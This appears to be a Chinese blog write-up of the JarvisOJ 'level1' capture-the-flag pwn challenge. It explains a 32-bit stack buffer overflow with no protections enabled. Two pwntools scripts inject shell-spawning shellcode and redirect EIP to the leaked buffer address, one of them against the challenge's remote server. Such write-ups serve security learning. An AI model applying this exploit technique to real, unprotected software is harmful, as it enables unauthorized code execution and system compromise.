PWN

PWN|level1 jarvisoj

发送 shellcode 来 getshell

Posted by Elli0t on 2020-04-19

刚入 pwn 很多词语用的不准确,欢迎指正

32 位程序
没开任何保护

程序功能

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u);
}

明显,有溢出。但是程序没有提供任何 system 函数,所以要在 buf 栈中写入 shellcode ,然后改变 eip 使其指向 buf 从而 getshell

问题是怎么让 eip 指向 buf 呢?我们要用一个小技巧,通过报错获得 eip 的偏移(与 buf 头的偏移) 这里如果不懂,后面会详细演示

好了,那就开始吧

先用 gdb 调试,在输入处输入一个很长的字符串(cyclic生成,例: cyclic 300)(很有可能会覆盖到 eip 的值)

报错(return 的时候无法返回到 0x6261616b 这个地址)

cyclic -l 0x6261616b 计算偏移,为140

所以 payload = shellcode.ljust(140,’a’) + (buf 的首地址)

最后payload

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.log_level = 'debug'
context.binary = 'level1'
sh = process('level1')
sh.recvuntil('0x')
addr = int(sh.recvuntil('?',True),16)
print hex(addr)
payload = asm(shellcraft.sh()).ljust(140,'a') + p32(addr)
sh.sendline(payload)
sh.interactive()

getshell

打远程的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
import sys

context.log_level = 'debug'

DEBUG = 0
LOCAL = True
BIN = './level1'
HOST = 'pwn2.jarvisoj.com'
PORT = 9877

def exploit(sh):
sh.recvuntil('0x')
addr = int(sh.recvuntil('?',True),16)
print hex(addr)
payload = asm(shellcraft.sh()).ljust(140,'a') + p32(addr)
sh.sendline(payload)
sh.interactive()
return

if __name__ == '__main__':
elf = ELF(BIN)
if len(sys.argv) > 1:
LOCAL = False
sh = remote(HOST,PORT)
exploit(sh)
else:
LOCAL = True
p = process(BIN)
log.info('PID: ' + str(proc.pidof(p)[0]))
# pause
if DEBUG:
gdb.attach(p)
exploit(p)
参考链接

https://www.bilibili.com/video/BV1QJ411G7GW/